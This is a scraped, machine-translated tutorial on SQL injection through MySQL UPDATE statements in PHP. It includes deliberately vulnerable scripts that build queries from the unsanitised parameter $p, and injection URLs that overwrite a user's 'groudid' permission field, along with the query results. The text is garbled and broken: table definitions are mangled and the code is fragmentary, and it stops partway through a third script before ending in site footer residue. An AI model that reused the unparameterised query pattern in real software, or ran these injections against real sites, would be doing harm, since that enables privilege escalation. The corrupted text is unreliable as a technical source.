Update injection (mysql+php) two modes _php tutorial

A. Test environment:

Os:windowsxp SP2

php:php 4.3.10 (

MySQL 4.1.9

Apache 1.3.33

Two. Test the database structure:

-----Start--- --Database: ' Test ' -- -- -------------------------------------------------------- -- --The structure of the table ' UserInfo ' -- CREATE TABLE ' UserInfo ' ( ' Groudid ' varchar (+) Not NULL default ' 1 ', ' User ' varchar (a) Not NULL default ' Heige ', ' Pass ' varchar (122) Not NULL default ' 123456 ' ) Engine=myisam DEFAULT charset=latin1; -- --Export the data in the table ' UserInfo ' -- INSERT into ' userinfo ' VALUES (' 2 ', ' Heige ', ' 123456 '); ------End-------

Three. Test mode:

1, variable without "or" [MOD1]

echo " SQL Query: $sql ?>

The script just modifies user= ' heige ' pass, if Groudid represents the user's permission level, our goal is to construct $p to achieve

To modify the purpose of GroupID:

Then we submit: http://127.0.0.1/test1.php?p=123456,groudid=1

Query in MySQL:

Mysql> select * from UserInfo; +---------+-------+--------+ | Groudid | user | Pass | +---------+-------+--------+ | 1 | Heige | 123456 | +---------+-------+--------+ 1 row in Set (0.01 sec)

User Heige Groudid 2 changed to 1:)

So we can get the injection without the "or" update to be successful, this is our pattern 1.

2, variable with "or" [MOD2]

test2.php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "Test"; Mysql_connect ($servername, $dbusername, $dbpassword) or Die ("database connection failed"); $sql = "Update userinfo set pass= ' $p ' where user= ' heige '";//<--$P using single quotes $result = Mysql_db_query ($dbname, $sql); $userinfo = Mysql_fetch_array ($result); echo " SQL Query: $sql "; ?>

In order to close the ' we construct $p should be 123456 ', groudid= ' 2 commits:

http://127.0.0.1/test2.php?p=123456 ', groudid= ' 1 in the case of Gpc=on ' became '

The submitted statement becomes: SQL query:update userinfo set pass= ' 123456 ', groudid= ' 1 ' where user= ' Heige '

MySQL query:

Mysql> select * from UserInfo; +---------+-------+--------------------+ | Groudid | user | Pass | +---------+-------+--------------------+ | 2 | Heige | 123456 ', groudid= ' 1 | +---------+-------+--------------------+ 1 row in Set (0.00 sec)

Groudid has not been modified. So when the variable is ' or ', it is not injected at all? Not the following we see Mode 2:

!--p <--> //test3.php Mod2 $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; http://www.bkjia.com/phpjc/508502.html Span id= "Indexurl" itemprop= "Indexurl" >www.bkjia.com true http://www.bkjia.com/phpjc/508502.html techarticle I. TEST environment: OS:WINDOWSXPSP2 php:php4.3.10 (mysql4.1.9 apache1.3.33 two. Test database structure:-----Start-----Database: ' Test '--------------------------------------- ---... 